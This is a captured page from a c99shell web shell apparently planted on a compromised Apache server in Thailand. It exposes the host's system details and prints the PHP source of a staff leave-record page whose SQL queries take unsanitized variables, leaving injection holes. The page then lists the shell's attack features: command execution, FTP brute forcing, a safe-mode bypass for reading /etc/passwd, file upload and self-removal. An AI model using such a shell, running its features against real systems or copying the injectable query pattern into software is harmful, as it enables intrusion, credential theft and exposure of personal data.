!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage/develop_person_depart/   drwxr-xr-x
Free 52.82 GB of 127.8 GB (41.33%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     AbsentDetail.php (7.49 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
session_start
();
    
    
/**  Define Validate Access  */
    
define'_VALID_ACCESS');

    
/**  Check Session User Login  */
    
if( !session_is_registered("valid_user") && !session_is_registered("Priority") ) {
        echo 
"<meta http-equiv=\"Content-Type\" content=\"text/html; charset=windows-874\" />";
        echo 
"<p style=padding-top:115px><p align=center><br /><font color=red><strong>กรุณาทำการ Login ก่อน</strong></font></p></p>";
        echo 
"<meta http-equiv=\"refresh\" content=\"1; URL=../login.php\" />";
        exit();
    } 
    else {
        
/**  Configuration  */
        
require_once( "../configuration.php" );
        require_once( 
$_Config_absolute_path "/includes/framework.php" );
        require_once( 
"../include/Function.php" );

    
        
/**  Create Database Object  */
        
$dbObj = new DBConn;
        
        
/**  Config Table for This Page  */
        
$myTable1 "personal_tb";
        
$myTable2 "history_absent_tb";
        
        
$Username $valid_user;
    
        
//===  personal_tb
    
$sql " SELECT * FROM personal_tb  WHERE  Username='$Username' ";
    
$resmysql_query($sql);
    
$rs mysql_fetch_array($res);
    
    
$strSQL " SELECT * FROM  history_absent_tb   WHERE   Absent_code='$Absent_code'   AND   Teacher_code='$Teacher_code'  AND  Year='$Year' ";
    
$result mysql_query($strSQL); 
    
$num mysql_num_rows($result);
    } 
# else
?>
<meta http-equiv="Content-Type" content="text/html; charset=TIS-620">
<link href="../css/default.css" rel="stylesheet" type="text/css" />
<script language="javascript" src="../js/utilities.js"></script>
</br>
<table width="614" border="0" align="center" cellpadding="0" cellspacing="0">
    <tr>
      <td width="614"><fieldset>
            <form id="form1" name="form1" method="post" action="">
        
              <table width="86%" border="0" align="center" cellpadding="0" cellspacing="0" bgcolor="#FFFFFF" class="BORDER-TOP-LEFT-RIGHT" style="background-color:#EEE; border:0px solid gray">
                <tr bgcolor="#CCCCFF">
                  <td height="25" colspan="3" align="center" bgcolor="#FFFFFF" ><font color="#000000" face="Tahoma">รายละเอียดวันลา</font><font size="2" face="Tahoma">
                    <?php
            
                 $sql 
"Select * From history_absent  Where Absent_code='$Absent_code'";
                  
$result1 mysql_query($sql) or die("Error".mysql_error());
                  
$rss mysql_fetch_array($result1);
                  echo 
"$rss[Absent_type] $rss[Teacher_lastname]";
                 
?>
                  </a> &nbsp;ปีงบประมาณ                  </a><?=$Year;?></a></td>
                </tr>
                <tr bgcolor="#E6E6E6">
                  <td width="42" align="center" bgcolor="#eeeeee" class="style3" style="border:1px solid gray"><font color="#000000" face="Tahoma">No.</font></td>
                  <td width="261" align="center" bgcolor="#eeeeee" class="style3" style="border:1px solid gray"><font color="#000000" face="Tahoma"> วัน เดือน ปี </font></td>
                  <td width="77" align="center" bgcolor="#eeeeee" class="style3" style="border:1px solid gray"><font color="#000000" face="Tahoma">จำนวนวันที่ลา</font></td>
                </tr>
                    <?php
                
while( $row $dbObj->fetchArray($result) ) { 
                    
$bgColor = ( $bgColor == "#FFFFFF" ) ? "#F9FBFB" "#FFFFFF";
                        
$sum += $countnum;
              
?>
                <tr bgcolor="#F7F7F7" >
                  <td align="center" bgcolor="#FFFFFF" ><strong><font color="#996600" size="1" face="Tahoma">
                    <?=$no;?>
                  </font></strong></td>
                  <td align="center" bordercolor="#EEEEEE" bgcolor="#FFFFFF" ><div align="center"><font color="#003366" size="2" face="Tahoma"> </font><font color="#990099" size="2" face="Tahoma"><a href="InstructorList.php?Project_code=<?=$row["Project_code"]?>"title="Click to see Detail" class="d"> </a></font><font color="#003366" size="2" face="Tahoma"> </font><font color="#003366" size="2" face="Tahoma">
                    <?php 
                $sday 
$row[Date_start];
                
$yearthai explode("-",$sday);
                
$day =      intval($yearthai[2]);
                
$month =  intval($yearthai[1]);
                
$year =     intval($yearthai[0]);     
                  
$m getThaiSubMonth($month);
                 echo
"$day"." "."$m"." "."$year";
                
?> - 
                    <?php 
                    $sday 
$row[Date_finish];
                    
$yearthai explode("-",$sday);
                    
$day =      intval($yearthai[2]);
                    
$month =  intval($yearthai[1]);
                    
$year =     intval($yearthai[0]);     
                    
$m getThaiSubMonth($month);
                     echo
"$day"." "."$m"." "."$year";
                    
?>
                  </font><font color="#990099" size="2" face="Tahoma"><a href="InstructorList.php?Orderlist_2=<?=$row["Orderlist_2"]?>"title="Click to see Detail" class="d"></a></font><font color="#003366" size="2" face="Tahoma"> </font><font color="#990099" size="2" face="Tahoma"><a href="ProjectList1.php?Orderlist_2=<?=$row["Orderlist_2"]?>"title="Click to see Detail" class="d"> </a></font><font color="#003366" size="2" face="Tahoma"> </font></div></td>
                  <td bgcolor="#FFFFFF" ><div align="right"><font color="#993333" size="2" face="Tahoma"> <?echo number_format($row['Absent_times'],2,'.',','); ?> </font></div></td>
                </tr>
                     <?php
                
# while
              
?>
                <tr bgcolor="#FFFFFF">
                  <td colspan="3" align="center" bgcolor="#FFFFFF" ><table width="100%" border="0" cellspacing="0" cellpadding="0">
                      <tr>
                        <td align="right" bgcolor="#FFFFFF"><span class="style4">รวมจำนวนวันที่ใช้ไป</span></td>
                        <td bgcolor="#FFFFFF"><div align="right"><strong><font color="#993333" size="2" face="Tahoma">
                            <?php         
        
          $sql1 
"Select Sum(Absent_times) as SumB1 From history_absent_tb Where  Year='$Year'  and Teacher_code='$Teacher_code' and Absent_code='$Absent_code' ";
          
$result1 mysql_query($sql1) or die("Erro".mysql_error());
          
$rss1 mysql_fetch_array($result1);
           echo 
number_format($rss1[SumB1],2,'.',',');
           
//echo"$rss1[SumC1]";
           
?>
                        </font></strong></div></td>
                      </tr>
                      <tr>
                        <td align="right" bgcolor="#FFFFFF" class="style4">วันลาตามสิทธิ์</td>
                        <td bgcolor="#FFFFFF">
                            <?php  echo"$rs[15]";?>
                        </a></td>
                      </tr>
                      <tr>
                        <td width="89%" align="right" bgcolor="#FFFFFF" class="style4">คงเหลือวันลา</td>
                        <td width="11%" bgcolor="#FFFFFF"><div align="right"><font color="#FF0000" size="2" face="Tahoma">
                            <?php
    $Delete3 
$rss2[Absent_01] - $rss1[SumB1] ;
    echo 
number_format($Delete3,2,'.',',');
    
// echo"$Del4";
     
      
?>
                        </font></div></td>
                      </tr>
                  </table></td>
                </tr>
                <tr bgcolor="#CCCCFF">
                  <td colspan="3" align="center" bgcolor="#FFFFFF" >ทั้งหมด <? echo $num?> รายการ</td>
                </tr>
                <tr bgcolor="#CCCCFF">
                  <td colspan="3" align="center" bgcolor="#FFFFFF" >&nbsp;</td>
                </tr>
              </table>
            </form>
        
            
      </fieldset></td>
    </tr>
    <tr>
      <td height="35" align="center"><input type="button" name="close" value="ปิดหน้าต่าง" onclick="window.close()" /></td>
  </tr>
</table>
<?php
    
/**  Free Resource */
    
$dbObj->freeresult($result);
    
    
/**  Close the Database  */
    
$dbObj->disconn();
    
    
/**  Unset Class  */
    
unset($dbObj);
?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0072 ]--